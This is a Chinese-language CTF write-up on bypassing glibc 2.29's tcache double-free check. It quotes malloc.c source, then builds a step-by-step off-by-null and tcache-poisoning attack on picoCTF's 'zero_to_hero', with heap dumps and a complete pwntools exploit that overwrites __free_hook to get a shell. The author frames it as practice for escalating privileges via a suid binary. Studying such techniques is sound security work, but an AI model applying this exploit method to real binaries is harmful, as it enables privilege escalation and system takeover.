最近在练习渗透,万万没想到做渗透还是遇上了pwn,提权过程发现一个有suid的二进制程序,程序的漏洞比较明显,唯一难点是程序使用的libc版本较高,为glibc2.29,这么高版本的libc还没了解过,借此机会学一下2.29libc新增的保护机制,以及如何绕过新增的保护,使用tcache进行攻击。
tcache是glibc-2.26引入的一种新技术,目的是提升堆管理的性能,早期的libc对tcache基本没任何防护,简直到了为所欲为的地步,一不检查double free,二不检查size大小,使用起来比fastbins还要简单。
查看glibc-2.29 malloc.c的源码,tcache_entry结构体增加了一个新指针key
放在bk的位置,用于检测double free。
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; /* 新增指针 */
} tcache_entry;
在之前的版本,要填满tcache非常简单粗暴,如果程序不清空指针,可以由头到尾free同一个chunk,直接把tcache填满,在2.29下这个方法不再适用。下面继续看一下tcache_put
和tcache_get
部分的源码,看看这个新指针起到如何的作用。
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; // 写入tcache_perthread_struct地址
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->counts[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL; // 清空
return (void *) e;
}
当一个属于tcache大小的chunk被free掉时,会调用tcache_put
,e->key
被写入tcache_perthread_struct
的地址,也就是heap开头的位置。而当程序从tcache取出chunk时,会将e->key
重新清空。简单的调试看看实际的运行结果,下图为一个0x60大小的chunk,bk位置写入了一个tcache_perthread_struct
的地址。
然后再看一下_int_free
中tcache
部分如何进行double free检测。
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
...
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache)) // 检查是否为tcache_perthread_struct地址
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e) // 检查tcache中是否有一样的chunk
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
...
首先_int_free
会检查chunk的key是否为tcache_perthread_struct地址,然后会遍历tcache,检查此chunk是否已经在tcache中,如有则触发malloc_printerr
报错free(): double free detected in tcache 2
。
简单总结一下,2.29下tcache触发double free报错的条件为:
e-key == &tcache_perthread_struct && chunk in tcachebin[chunk_idx]
新增保护主要还是用到e->key
这个属性,因此绕过想绕过检测进行double free,这里也是入手点。绕过思路有以下两个:
e->key
为空,或者其他非tcache_perthread_struct
的地址。这样可以直接绕过_int_free
里面第一个if判断。不过如果UAF或堆溢出能直接修改chunk的fd的话,根本就不需要用到double free了。_int_free
里面判断当前chunk是否已存在tcache的地方,它是根据chunk的大小去查指定的tcache链,由于我们修改了chunk的size,查找tcache链时并不会找到该chunk,满足free的条件。虽然double free的chunk不在同一个tcache链中,不过不影响我们使用tcache poisoning进行攻击。由于渗透环境的题目,官方暂时不允许公开wp,我这里找到了picoctf2019一题pwn进行演示攻击流程。首先看一下题目的保护情况:
[*] '/ctf/work/zero_to_hero'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: './'
题目提供了ld-2.29.so和libc.so.6(版本为2.29),如果使用Ubuntu19.10以下版本进行调试,需要用patchelf进行patch。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("From Zero to Hero");
puts("So, you want to be a hero?");
buf[read(0, buf, 0x14uLL)] = 0;
if ( buf[0] != 'y' )
{
puts("No? Then why are you even here?");
exit(0);
}
puts("Really? Being a hero is hard.");
puts("Fine. I see I can't convince you otherwise.");
printf("It's dangerous to go alone. Take this: %p\n", &system);
while ( 1 )
{
while ( 1 )
{
menu();
printf("> ");
v3 = 0;
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 != 2 )
break;
delete();
}
if ( v3 == 3 )
break;
if ( v3 != 1 )
goto LABEL_11;
add("%d", &v3);
}
puts("Giving up?");
LABEL_11:
exit(0);
}
题目逻辑很简单,只有add和delete两个功能,同时程序直接给出了system的运行地址,不需要进行libc地址泄露,难度大大降低。
漏洞一:free之后没有情况指针
unsigned __int64 sub_400BB3()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Which power would you like to remove?");
printf("> ");
__isoc99_scanf("%u", &v1);
getchar();
if ( v1 > 6 )
{
puts("Invalid index!");
exit(-1);
}
free(qword_602060[v1]);
return __readfsqword(0x28u) ^ v2;
}
漏洞二:写入description时,如果字符串长度等于输入的size,str[size]
会写\x00,存在off by null。
unsigned __int64 add()
{
_BYTE *v0; // rbx
size_t size; // [rsp+0h] [rbp-20h]
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
LODWORD(size) = 0;
HIDWORD(size) = sub_4009C2();
if ( (size & 0x8000000000000000LL) != 0LL )
{
puts("You have too many powers!");
exit(-1);
}
puts("Describe your new power.");
puts("What is the length of your description?");
printf("> ", size);
__isoc99_scanf("%u", &size);
getchar();
if ( (unsigned int)size > 0x408 )
{
puts("Power too strong!");
exit(-1);
}
qword_602060[SHIDWORD(size)] = malloc((unsigned int)size);
puts("Enter your description: ");
printf("> ", &size, size);
v0 = qword_602060[SHIDWORD(size)];
v0[read(0, qword_602060[SHIDWORD(size)], (unsigned int)size)] = 0; // off by null
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}
题目还有一点限制,申请内存最大不超过0x408,也就是不超过tcache在64位的大小,并且最多只能创建7个chunk,因此只够刚好填满tcache,没办法利用到fastbins。
攻击流程思考:首先,这个程序没有UAF,因此上面提到的第一个绕过思路在这里行不通。题目存在off by null,刚好满足思路2的最低要求,而且free后没清空指针,可以直接触发double free。那么思路很明确了,通过off by null对下一个chunk的size复写最低位,修改chunk的大小,从而绕过libc-2.29的double free检测,由于题目开了Full RELRO
,可以通过修改__free_hook
为one_gadget或system进行getshell。下面开始构造exp。
you want to be a hero?
,直接回复y就好了,然后非常友好地提供了system的运行地址,提取后计算出libc基址即可。p.sendlineafter('hero?','y') p.recvuntil(': ') system = int(p.recvline().strip(), 16) libc.address = system - libc.symbols['system'] success("libc.addres : {:#x}".format(libc.address))
0x10*n+8
的大小,要让这个chunk最后8字节跟下一个chunk的size连接上。而下一个chunk的大小要大于0x100且大小不为0x100整数倍,因为我们只有off by null,要确保最低位写0后,size不为0且大小改变。add(0x58, '0000') # Chunk 0 add(0x100, '1111') # Chunk 1
pwndbg> parseheap
addr prev size status fd bk
0xe28000 0x0 0x250 Used None None
0xe28250 0x0 0x60 Used None None
0xe282b0 0x0 0x110 Used None None
free(0) # 0x60 tcache free(1) # 0x110 tcache
可以看到两个chunk的bk,均写入了tcache_perthread_struct的地址。
pwndbg> bins
tcachebins
0x60 [ 1]: 0xe28260 ◂— 0x0
0x110 [ 1]: 0xe282c0 ◂— 0x0
pwndbg> x/50gx 0xe28260-0x10
0xe28250: 0x0000000000000000 0x0000000000000061
0xe28260: 0x0000000000000000 0x0000000000e28010
0xe28270: 0x0000000000000000 0x0000000000000000
0xe28280: 0x0000000000000000 0x0000000000000000
0xe28290: 0x0000000000000000 0x0000000000000000
0xe282a0: 0x0000000000000000 0x0000000000000000
0xe282b0: 0x0000000000000000 0x0000000000000111
0xe282c0: 0x0000000000000000 0x0000000000e28010
0xe282d0: 0x0000000000000000 0x0000000000000000
0xe282e0: 0x0000000000000000 0x0000000000000000
/bin/sh\x00
,方便后面getshell。## off by null add(0x58, '/bin/sh\x00' + '0'*0x50) # Chunk 0
pwndbg> x/50gx 0xe28260-0x10
0xe28250: 0x0000000000000000 0x0000000000000061
0xe28260: 0x0068732f6e69622f 0x3030303030303030
0xe28270: 0x3030303030303030 0x3030303030303030
0xe28280: 0x3030303030303030 0x3030303030303030
0xe28290: 0x3030303030303030 0x3030303030303030
0xe282a0: 0x3030303030303030 0x3030303030303030
0xe282b0: 0x3030303030303030 0x0000000000000100
0xe282c0: 0x0000000000000000 0x0000000000e28010
0xe282d0: 0x0000000000000000 0x0000000000000000
此时chunk 1分别进入了0x100和0x110大小的tcache
pwndbg> bins
tcachebins
0x100 [ 1]: 0xe282c0 ◂— 0x0
0x110 [ 1]: 0xe282c0 ◂— 0x0
__free_hook
的地址,相当于修改了0x100大小的chunk的fd。申请两次0x100大小的chunk就可以修改__free_hook
。## tcache poisoning add(0x100, p64(libc.sym['__free_hook'])) add(0xf0, '1234') add(0xf0, p64(libc.sym['system']))
pwndbg> bins
tcachebins
0x100 [ 1]: 0xe282c0 —▸ 0x7f3758dc28c8 (__free_hook) ◂— ...
/bin/sh\x00
,即可getshell。完整EXP:
# coding:utf-8 from pwn import * context.log_level = 'DEBUG' target = 'zero_to_hero' elf = ELF('./'+target) context.binary = './'+target p = process('./'+target) libc = ELF('./libc.so.6') def add(size, content): p.sendlineafter('> ', '1') p.sendlineafter('> ', str(size)) p.sendafter('> ', content) def free(idx): p.sendlineafter('> ', '2') p.sendlineafter('> ', str(idx)) p.sendlineafter('hero?','y') ## leak address p.recvuntil(': ') system = int(p.recvline().strip(), 16) libc.address = system - libc.symbols['system'] success("libc.addres : {:#x}".format(libc.address)) add(0x58, '0000') # Chunk 0 add(0x100, '1111') # Chunk 1 free(0) free(1) ## off by null add(0x58, '/bin/sh\x00' + '0'*0x50) # Chunk 0 ## double free free(1) ## tcache poisoning add(0x100, p64(libc.sym['__free_hook'])) add(0xf0, '1234') add(0xf0, p64(libc.sym['system'])) ## getshell free(0) p.interactive() p.close()
https://www.anquanke.com/post/id/194960
http://ftp.gnu.org/gnu/glibc/glibc-2.29.tar.gz
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_entry